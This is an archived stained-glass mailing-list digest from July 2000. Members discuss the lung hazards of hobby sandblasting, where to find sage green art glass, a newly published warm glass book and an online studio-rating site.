When I was first starting I was able to obtain things from a garage sale.  With it was this aerosol spray sand blasting kit.  I put it in the closet because I could not see a use for it.  Until I had the idea I never touched it.  What the "system" is made up of is compressed air in a can, some type of fine material that appears to be sand but might not be, it is very uniform in size color shape.  The last piece is an adapter that clips on the can.  you pour the sand in part of press the button and your blasting.  
When I used it I thought it would hit the glass and fall on the work bench.  What it did was hit the glass and bounced back and deferent angle.  there was no dust in the air and what did fall on the table is reusable.  Therefore I don't expect that it is a health risk.  If I decide that this is something i plan to do often I will build a box similar to what auto shops have.  I just have to decide...
                                 James
James Garner
___________________________________________________
GO Network Mail                                    
Get Your Free, Private E-mail at http://mail.go.com


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From owner-glass Thu Jul 27 16:59:13 2000
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From: Bobfuses@aol.com
To: officerjqg@go.com, glass@bungi.com
Content-Type: text/plain; charset="US-ASCII"
Subject: Re: Sandblasting
Date: Thu, 27 Jul 2000 19:32:36 EDT
Message-ID: <1970Jan1.000.0>
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In a message dated 7/27/00 4:28:07 PM Pacific Daylight Time, 
officerjqg@go.com writes:

> When I used it I thought it would hit the glass and fall on the work bench. 
 
> What it did was hit the glass and bounced back and deferent angle.  there 
was 
> no dust in the air and what did fall on the table is reusable.  Therefore I 
> don't expect that it is a health risk.  If I decide that this is something 
i 
> plan to do often I will build a box similar to what auto shops have.  I 
just 
> have to decide...
>                                   James
>  James Garner

When the grit hits the glass it dislodges fine pieces of glass and may itself 
fragment. These particles are not good for your lungs and have a cumulative 
effect ending in death!

Cheers, Bob in 9 2 0 2 6
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From owner-glass Thu Jul 27 17:01:36 2000
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X-Path: teleport.com!weaver51
From: "Howard" <weaver51@teleport.com>
To: "Pamela Burns-Tappan" <ptap@pacifier.com>,
Content-Type: text/plain;
Subject: Re: A-1 why are we interested/who is to judge
Date: Thu, 27 Jul 2000 12:35:24 -0700
Message-ID: <1970Jan1.000.0>
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As for NG this is a "little"<g> related........I am not always watching
everything!

Easiest response.....SO WHO IS TO JUDGE?

I mentioned my shades and suggest they look at them and pass judgment.
Perhaps a "bad pan" would put me out of business, I think not. IMHO, they
"ain't got a clue"!

I deal with a few of the "listed" sites as a wholesaler/reseller and I am
glad there are no posted prices.

I rate my suppliers as how they treat me, prices, availability of
merchandise, speedy delivery of same, PROTECTION (or do they sell to anyone
at the same prices I get as a business), backing up of warrantees and so on.

If one is allowed to "think", I think this is a lot of B/S........However it
did get my attention!

H









weaver51@teleport.com
Elaine and Howard
best lamps on the "net":
http://www.teleport.com/~cbs/howard

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From owner-glass Thu Jul 27 18:30:36 2000
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From: "brown_gregory" <brown_gregory@email.msn.com>
To: <glass@bungi.com>
Content-Type: multipart/alternative;
Subject: Re: Sandblasting
Date: Thu, 27 Jul 2000 19:46:12 -0500
Message-ID: <1970Jan1.000.0>
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This is a multi-part message in MIME format.

------=_NextPart_000_0021_01BFF803.51800D00
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Please James, Bob is not overreacting on this issue!
Greg
Glass By Design

------=_NextPart_000_0021_01BFF803.51800D00
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2722.2800" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Please James, Bob is not overreacting =
on this=20
issue!</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Greg</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Glass By =
Design</FONT></DIV></BODY></HTML>

------=_NextPart_000_0021_01BFF803.51800D00--


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From owner-glass Thu Jul 27 18:57:08 2000
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To: glass@bungi.com
Content-Type: multipart/alternative;
Subject: A method of giving pieces as gifts?
Date: Thu, 27 Jul 2000 20:28:36 -0700
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--------------F7AFA77A9ADDEA2F59B145F6
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One never knows if when giving a stained / leaded glass
window as a gift that if will be appreciated.  Even though
we may think that particular window is the greatest piece
since the invention of glass doesn't mean that the subject
matter, colors, size, etc. will be of interest to the
recipient.

I learned my lesson when visiting a friend and saw a window
that I had given her as a gift six months prior stuffed in a
hall closet and obviously forgotten about by her.  My
feelings were hurt, and I decided not to have that happen
again.  I made the decision that the only time I would ever
again give a window as a gift is if someone, after seeing a
particular window in my studio, voiced their pleasure and
excitement for that piece.  After asking them  if they
REALLY liked it, and if they would appreciate it if I gave
it to them as a gift, would I ever give it away.

Here-in lies my testimony for my new found method of giving
windows as gifts.  The very first person to try the new
method on was my mother-in-law.

One month after she had returned to her home approximately
three hundred miles away, a tornado touched down fairly
close to the retirement village she lives in.  She is
seventy-nine years old and has many............many things
of sentimental value that she could of taken to the storm
cellar.  The only thing she took was the leaded glass window
I had given her...........(that she personally picked
herself from my studio).

The piece I had given her may not of been one that I would
say was one of my best, but it sure takes first place for
being the one that I am most emotionally tied to.

--------------F7AFA77A9ADDEA2F59B145F6
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<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
<font size=-1>One never knows if when giving a stained / leaded glass window
as a gift that if will be appreciated.&nbsp; Even though we may think that
particular window is the greatest piece since the invention of glass doesn't
mean that the subject matter, colors, size, etc. will be of interest to
the recipient.</font><font size=-1></font>
<p><font size=-1>I learned my lesson when visiting a friend and saw a window
that I had given her as a gift six months prior stuffed in a hall closet
and obviously forgotten about by her.&nbsp; My feelings were hurt, and
I decided not to have that happen again.&nbsp; I made the decision that
the only time I would ever again give a window as a gift is if someone,
after seeing a particular window in my studio, voiced their pleasure and
excitement for that piece.&nbsp; After asking them&nbsp; if they REALLY
liked it, and if they would appreciate it if I gave it to them as a gift,
would I ever give it away.</font><font size=-1></font>
<p><font size=-1>Here-in lies my testimony for my new found method of giving
windows as gifts.&nbsp; The very first person to try the new method on
was my mother-in-law.</font><font size=-1></font>
<p><font size=-1>One month after she had returned to her home approximately
three hundred miles away, a tornado touched down fairly close to the retirement
village she lives in.&nbsp; She is seventy-nine years old and has many............many
things of sentimental value that she could of taken to the storm cellar.&nbsp;
The only thing she took was the leaded glass window I had given her...........(<u>that
she personally picked herself from my studio</u>).</font><font size=-1></font>
<p><font size=-1>The piece I had given her may not of been one that I would
say was one of my best, but it sure takes first place for being the one
that I am most emotionally tied to.</font></html>

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From owner-glass Thu Jul 27 19:00:23 2000
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X-Path: mindspring.com!rcollins1
From: Bob Collins <rcollins1@mindspring.com>
To: Bobfuses@aol.com
Content-Type: text/plain; charset=us-ascii
Subject: Re: Sandblasting
Date: Thu, 27 Jul 2000 19:22:03 -0600
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Organization: CSC, Inc.
Precedence: bulk

My sandblaster was made from an old Washing machine gutted and cut in
numerous places. I did get the glass and necessary frame from a
sandblast parts place, Tiptop I believe. I turned it on its side so the
door was on the right side, used rubber foam to seal the door so no sand
escaped. I made a funnel for the bottom out od some sheet metal and
attached the trap door ( got from the parts place) to the bottom of the
funnel. I just had to be careful not pointing the gun at the side for to
long a time. I any one wants the parts place let me know and I'll did
the cata log up. I think all the parts came to about $200, the used
washers was free, picked up at a second hand repair place that was
taking it to the dump.

    Bob



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From owner-glass Fri Jul 28 08:00:53 2000
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X-Path: ghostman.com!candy
From: "Candy" <candy@ghostman.com>
To: "glass@bungi.com" <glass@bungi.com>
Content-Type: text/plain; charset="us-ascii"
Subject: Re: Sandblasting
Date: Fri, 28 Jul 00 08:53:16 
Message-ID: <200007281456.IAA21465@mantis.privatei.com>
Precedence: bulk

James, I agree with Bob.

Back in 1981, when I was in California, there was a nice man, very tall and strong, who 
did wonderful sandblasting.. I have not seen his like since. I told him, of course, "I want 
to learn to do that!"

He then told me how, even tho he wore masks and took other precautions, that his 
lungs were halfway gone. I imagine he's dead now.. and no, I never did pick up that 
new skill.

I'm sure safety is more efficient now, but his warning sticks with me to this day...

Candy
On Thu, 27 Jul 2000 19:32:36 EDT, Bobfuses@aol.com wrote:

>In a message dated 7/27/00 4:28:07 PM Pacific Daylight Time, 
>officerjqg@go.com writes:
>
>> When I used it I thought it would hit the glass and fall on the work bench. 
> 
>> What it did was hit the glass and bounced back and deferent angle.  there 
>was 
>> no dust in the air and what did fall on the table is reusable.  Therefore I 
>> don't expect that it is a health risk.  If I decide that this is something 
>i 
>> plan to do often I will build a box similar to what auto shops have.  I 
>just 
>> have to decide...
>>                                   James
>>  James Garner
>
>When the grit hits the glass it dislodges fine pieces of glass and may itself 
>fragment. These particles are not good for your lungs and have a cumulative 
>effect ending in death!


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From owner-glass Fri Jul 28 11:30:59 2000
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From: James Garner <officerjqg@go.com>
To: glass@bungi.com
Content-Type: text/plain; charset=iso-8859-1
Subject: If not sandblasting then at least tell me this........
Date: Fri, 28 Jul 2000 10:53:11 -0700 (PDT)
Message-ID: <1970Jan1.000.0>
Precedence: bulk

OK
I will not sand blast any longer.  Of course my employer put a decent policy on me and welll never mind.  If I dont get into this area of glass then I need to get to work on a new project.  That project will be my mothers Christmas present.  The only problem is she is very decor oriented.  She specifically asked for two colors to be present in the piece.  A plum purple, which I have already and a sage green.  I cant find the green.  If you are not familiar with it it is exactly like the color used on the tops of the glass spice bottles you buy in grocery stores.  I need the manufacture, item # and possibly a supplier.  Any help in this area would be appreciated.  The first person who replies with all the information will get a prize.  I will create a web sight rating studios and will put your studio in the #2 slot under my cleverly disguised #1 listing.  


                                James
James Garner
___________________________________________________
GO Network Mail                                    
Get Your Free, Private E-mail at http://mail.go.com


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From owner-glass Fri Jul 28 12:30:49 2000
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X-Path: erols.com!deethom
From: Dee Thompson <deethom@erols.com>
To: glass@bungi.com
Content-Type: text/plain; charset="us-ascii"
Subject: Re: Sandblasting
Date: Fri, 28 Jul 2000 15:12:09 -0400
Message-ID: <3.0.32.20000728151208.00d42734@pop.erols.com>
Precedence: bulk

my sandblasting instructor had a helmet he made himself that looked like
something out of an old diving museum or equally old space travelers movie.

The irritation of the grit in the lungs can cause something similar to
asbestosis...it's deadly and if it's in your teeth, it's in your lungs.
There is no safe angle to spray the grit to keep from inhaling it and no
safe amount to have in your lungs.
Lung disease is a horrible way to die, especially if it was preventable. 

 I loved the lessons I had, but did not think the amount I wanted to do
would offset the cost of the set up...I'm so glad I took the lessons
tho...and love the piece I came home with, now proudly mounted in my front
door!  

for a sage green I like a Wissmach muffle...sorry don't know the #.  there
are nice purples in that line as well.   Don't know of any opalescents that
color.
Dee


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From owner-glass Fri Jul 28 17:01:22 2000
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X-Path: cs.com!Greerstudios
From: Greerstudios@cs.com
To: glass@bungi.com
Content-Type: text/plain; charset="US-ASCII"
Subject: Kudos to Brad Walker
Date: Fri, 28 Jul 2000 19:57:31 EDT
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Hi all,

Well, I got my copy of your very own Brad Walker's warm glass book and I know 
he'll never promote it on bungi himself, so I'm going to rave about it!!  
It's dynamite, better than his excellent and useful website, and full of some 
really outstanding warm art glass examples and in color.  The book covers 
tons of info, is clear and easy to understand, and most importantly of all, 
it's incredibly inspiring.  I am certain that folks will buy this book and 
try warm glass just because of the book.  In fact, I'm going to talk to the 
college I teach at about adding a warm glass class and using this book as a 
textbook because it's that good.  Congratulations, Brad, I hope you sell a 
million of these!  My guess is you will even without my best wishes!

And thanks to everyone for sending me Charlie's email addy... it was good to 
hear from all of you!

Best regards,

Dani Greer

Greer Gallery & Studios     
www.igga.org/greer/
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From owner-glass Fri Jul 28 17:30:59 2000
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X-Path: glassjumps.com!claire
From: "Claire Amundsen Schaeffer" <claire@glassjumps.com>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: Re: Kudos to Brad Walker - second that
Date: Fri, 28 Jul 2000 20:25:03 -0400
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

From: <Greerstudios@cs.com>
>>> Well, I got my copy of your very own Brad Walker's warm glass
book and I know he'll never promote it on bungi himself, so I'm
going to rave about it!!  It's dynamite, better than his
excellent and useful website, and full of some  really
outstanding warm art glass examples and in color.  <<<

Just got my copy earlier this week and have to second everything
you said -- for someone new to warm glass (like me), it's an
absolute treasure.

For those who don't already know, it can be ordered from Brad's
site at http://www.warmglass.com/

Claire
-------
GlassJumps.com
http://www.glassjumps.com/
Links to 100+ Glass Resources

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From owner-glass Fri Jul 28 18:32:11 2000
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From: "cheryl zipf" <glassgirl@mindspring.com>
To: <glass@bungi.com>
Content-Type: multipart/alternative;
Subject: sage green
Date: Fri, 28 Jul 2000 21:18:10 -0700
Message-ID: <1970Jan1.000.0>
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------=_NextPart_000_0039_01BFF8D9.551CB680
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sage green english muffell   i get mine from mt airy in swannee  ga   =
but you should be able to order it from houstons glass supply  =20

------=_NextPart_000_0039_01BFF8D9.551CB680
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<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>sage green english muffell&nbsp;&nbsp; =
i get mine=20
from mt airy in swannee&nbsp; ga&nbsp;&nbsp; but you should be able to =
order it=20
from houstons glass supply&nbsp;&nbsp; </FONT></DIV></BODY></HTML>

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From owner-glass Fri Jul 28 19:00:29 2000
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From: "Carolyn" <glasscat@voyager.net>
To: "James Garner" <officerjqg@go.com>, <glass@bungi.com>
Content-Type: text/plain;
Subject: Re: If not sandblasting then at least tell me this........
Date: Fri, 28 Jul 2000 21:52:24 -0400
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
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Hi James:
There's a Sage Green in English Muffle. I believe the number is EM4907. It's
a beautiful shade. Good luck,
Carolyn
glasscat@voyager.net
----- Original Message -----
From: "James Garner" <officerjqg@go.com>
To: <glass@bungi.com>
Sent: Friday, July 28, 2000 1:53 PM
Subject: If not sandblasting then at least tell me this........


> OK
> I will not sand blast any longer.  Of course my employer put a decent
policy on me and welll never mind.  If I dont get into this area of glass
then I need to get to work on a new project.  That project will be my
mothers Christmas present.  The only problem is she is very decor oriented.
She specifically asked for two colors to be present in the piece.  A plum
purple, which I have already and a sage green.  I cant find the green.  If
you are not familiar with it it is exactly like the color used on the tops
of the glass spice bottles you buy in grocery stores.  I need the
manufacture, item # and possibly a supplier.  Any help in this area would be
appreciated.  The first person who replies with all the information will get
a prize.  I will create a web sight rating studios and will put your studio
in the #2 slot under my cleverly disguised #1 listing.
>
>
>                                 James
> James Garner
> ___________________________________________________
> GO Network Mail
> Get Your Free, Private E-mail at http://mail.go.com
>
>
> ----
> For subscription changes, please mail to: glass-request@bungi.com
> To send to the list,      please mail to: glass@bungi.com
> Archives available at http://www.bungi.com/glass
>

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From owner-glass Fri Jul 28 20:19:06 2000
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X-Path: aol.com!Bobfuses
From: Bobfuses@aol.com
To: glass@bungi.com
Content-Type: text/plain; charset="US-ASCII"
Subject: Re: Kudos to Brad Walker
Date: Fri, 28 Jul 2000 23:07:36 EDT
Message-ID: <1970Jan1.000.0>
Precedence: bulk

In a message dated 7/28/00 5:03:01 PM Pacific Daylight Time, 
Greerstudios@cs.com writes:

> Well, I got my copy of your very own Brad Walker's warm glass book and I 
>know  he'll never promote it on bungi himself, so I'm going to rave about 
it!! 

I have my copy and it is everything and more than we hoped for. I have a 
number of books on fusing and this is by far the best. Not only is the text 
clear and logical but the book is profusely illustrated with fused works from 
many artists. The pictures alone are worth the price. 

Speaking of price, Contemporary Warm Glass, IMO, offers more information, by 
far, for the money than any other book on the market. There is no need to buy 
several books to get the necessary information. On top of that there is 
currently an introductory sale going on. Check out http://www.warmglass.com

If fusing is of interest to you this is a great place to visit. 

Cheers, Bob in 9 2 0 2 6 who fuses often
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From owner-glass Fri Jul 28 22:49:24 2000
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X-Path: emirates.net.ae!abbarart
From: Al Abbar <abbarart@emirates.net.ae>
To: glass@bungi.com
Content-Type: multipart/alternative;
Subject: Quotation
Date: Sat, 29 Jul 2000 09:33:15 +0400
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Sub: Quotation

Dear Sir/Madam

Please send us quotation for product /Description: Clear Seeded Glass/ & =
Bronze mosaic pattern glass. Different thickness / 3mm, 5mm, 6mm/

Approximately quantity 1000 sq. meters.

If you can provide with a sample, it would be most appreciated.

Please provide us with your e-mail address if any.

Al Abbar Glass & Trading
P.O. Box 33988, Dubai, UAE,
tel.+97143331588, fax+97143333129
e-mail: abbarart@emirates.net.ae




Best regards

Pawel Szozda

sales executive


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<P>Sub: Quotation</P>
<P>Dear Sir/Madam</P>
<P>Please send us quotation for product /Description: Clear Seeded =
Glass/ &amp;=20
Bronze mosaic pattern glass. Different thickness / 3mm, 5mm, 6mm/</P>
<P>Approximately quantity 1000 sq. meters.</P>
<P>If you can provide with a sample, it would be most appreciated.</P>
<P>Please provide us with your e-mail address if any.</P><B><FONT =
size=3D4>
<P>Al Abbar Glass &amp; Trading<BR>P.O. Box 33988, Dubai,=20
UAE,<BR>tel.+97143331588, fax+97143333129<BR>e-mail:=20
abbarart@emirates.net.ae<BR></P></B></FONT>
<P>&nbsp;</P>
<P>Best regards</P><FONT size=3D2>
<P>Pawel Szozda</P><I>
<P>sales executive</P></I></FONT></DIV></BODY></HTML>

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From owner-glass Sat Jul 29 06:00:50 2000
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Subject: Re: A-1 why are we interested
Date: Sat, 29 Jul 2000 04:06:55 +0000
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Organization: International Guild of Glass Artists, Inc.
Precedence: bulk

   In reading Pamela's response about the A-1 site, I recall a cartoon I
saw a long time ago, one dog was sitting on a chair in front of a
computer, and another was sitting on the floor.  The dog at the terminal
had its head turned toward the other dog, and the caption went.. "on the
Internet, they can't tell you're a dog".
  While I can appreciate Pamela's perspective, I'm not really sure I
agree with it.  The idea that public opinion is given undue weight
because of a "dot-com" business site, or any particular domain name,
rather assumes the general public is so naive as to believe anything
they may see on the Internet.  Further, any idea that anyone with a web
site is somehow a more serious business competitor, seems a bit
stretched as well.
  The Internet to my perspective, runs almost 180 degrees in the other
direction.  The Internet allows those who want to look like a serious
business, to present that image on the "web", even if they're working
out of a borrowed closet.  I've seen a number of sites, that are blatant
attempts to "make money from the Internet".. such shenanigans as
redirects to other sites (for a few cents per click), or from capturing
IP addresses, or email addresses, which are then sold on a wholesale
scale.  Supposed "service links" to places like Amazon.com's book
listings.. garner funds to the owner of the referring site.. not huge
money per click through, but still, given that it's happening at all
times of the day.. each and every day, it can become a source of income
for those that do their research to create the links, and to form those
associations, and promote their site.
  An Internet site, can give the appearance of legitimacy to
illegitimate operations of any kind.  Anyone who is so innocent, or
ignorant, (or gullible) as to fall for this semblance of legitimacy..
well.. as P. T. Barnum claimed.. "there's one born every second".
  In short.. on the Internet, they can't tell you're a dog.
  Yes, I chafe a bit at the idea of ranking.. but one of the odd things
about e-commerce and the mega bucks that is the tantalizing allure, is
this idea of "ranking" or "rating" of most anything.  Computers rank
things - that's one of their strong points.. presenting material in some
sort of searchable order.  It may be a legacy of  auction operations,
such as ebay, where participants are rated with feedbacks.. positive,
negative, etc.. and the concept seems to have spread to most every
commercial web site in some means or another.  'Course the reality is
that those making these rankings, are also the ones who seem to manage
to be ranked #1.. a very American sort of phenomenon.. we all want to be
#1.. anything less, is somehow inferior.  Back when I was in elementary
school.. numbers 1 and 2 had a totally different meanings, and nobody
wanted to be either.. but I digress.
  Being an informed consumer is something that we all want to be.. but
if we limit our research to what we can find on the Internet, and what's
presented there to us, we're certainly going to be in for certain
disappointment.  The same can be said for only looking through the
Yellow Pages, or only looking through ads in your local papers, only
companies that advertise on your local TV, or any other advertising
media.  In A-1's case, they strangely borrowed a concept from the
telephone directories.. ever notice how many AAA, AAAA, AAAA-1, etc..
listings are in there, so as to be the first on that particular list?
  Maybe I'm just a bit too cynical these days.. but I seldom believe
much of what I see on the Internet, and seldom do I bother with any of
the various ranking or rating concepts, which are by definition
arbitrary and subjective, and I assume that those who make up the
parameters, are skewing the ratings to suit whatever their purposes may
be.  It doesn't necessarily mean that I have to believe any of it, or
buy any of it.
  It's e-business folks.. it's still advertising, and it's still
bullroar, and if the day ever comes that I start looking for mediocre
consumer glass crafties to purchase, I hope somebody will disconnect me
from this virtual world, and quickly!
  Peace  -Gerry, (who knows he's a cynical old dog.. and doesn't try to
make more or less of it)

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From owner-glass Sat Jul 29 15:01:23 2000
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From: heinze.g@ns.sympatico.ca (Gail HeinzeMiline)
To: Bobfuses@aol.com, Glass List <glass@bungi.com.>
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Subject: Re: Kudos to Brad Walker
Date: Sat, 29 Jul 2000 18:59:12 -0300
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I am so glad I waited and ordered Brad's book. It looks great- but I had nothing
to compare it too. Thanks Brad!

Gail in Nova Scotia

Bobfuses@aol.com wrote:

> In a message dated 7/28/00 5:03:01 PM Pacific Daylight Time,
> Greerstudios@cs.com writes:
>
> > Well, I got my copy of your very own Brad Walker's warm glass book and I
> >know  he'll never promote it on bungi himself, so I'm going to rave about
> it!!
>
> I have my copy and it is everything and more than we hoped for. I have a
> number of books on fusing and this is by far the best. Not only is the text
> clear and logical but the book is profusely illustrated with fused works from
> many artists. The pictures alone are worth the price.
>
> Speaking of price, Contemporary Warm Glass, IMO, offers more information, by
> far, for the money than any other book on the market. There is no need to buy
> several books to get the necessary information. On top of that there is
> currently an introductory sale going on. Check out http://www.warmglass.com
>
> If fusing is of interest to you this is a great place to visit.
>
> Cheers, Bob in 9 2 0 2 6 who fuses often
> ----
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From owner-glass Sat Jul 29 16:31:12 2000
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To: Gail HeinzeMiline <heinze.g@ns.sympatico.ca>
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Subject: Re: Kudos to Brad Walker
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Gail HeinzeMiline wrote:

> ...  It looks great- but I had nothing to compare it too.  ....

Hi Gail,

Thats why it's a good book. <smile>

Later .... Bob K.

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From owner-glass Sun Jul 30 14:43:50 2000
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From: "Christie A. Wood" <Ensembles@compuserve.com>
To: Bungi <glass@bungi.com>
Content-Type: text/plain;
Subject: Sage green
Date: Sun, 30 Jul 2000 17:30:02 -0400
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Message text written by James Garner
>I will not sand blast any longer.  Of course my employer put a decent
policy on me and welll never mind.  If I dont get into this area of glass=

then I need to get to work on a new project.  That project will be my
mothers Christmas present.  The only problem is she is very decor oriente=
d.
 She specifically asked for two colors to be present in the piece.  A plu=
m
purple, which I have already and a sage green.  I cant find the green.  I=
f
you are not familiar with it it is exactly like the color used on the top=
s
of the glass spice bottles you buy in grocery stores.  I need the
manufacture, item # and possibly a supplier.  Any help in this area would=

be appreciated.  The first person who replies with all the information wi=
ll
get a prize.  I will create a web sight rating studios and will put your
studio in the #2 slot under my cleverly disguised #1 listing.  =

<

Try Spectrum 5281Waterglass (called sea green or seafoam green).  It's a
beautiful sage green.
They also make it as a glue chip sage green too, but am unsure of it's
number.  Rainbow Art Glass
in Wall, NJ has both.  Their internal number for the sage green glue chip=

is GC340S.

Christie A. Wood
North Wales, PA USA
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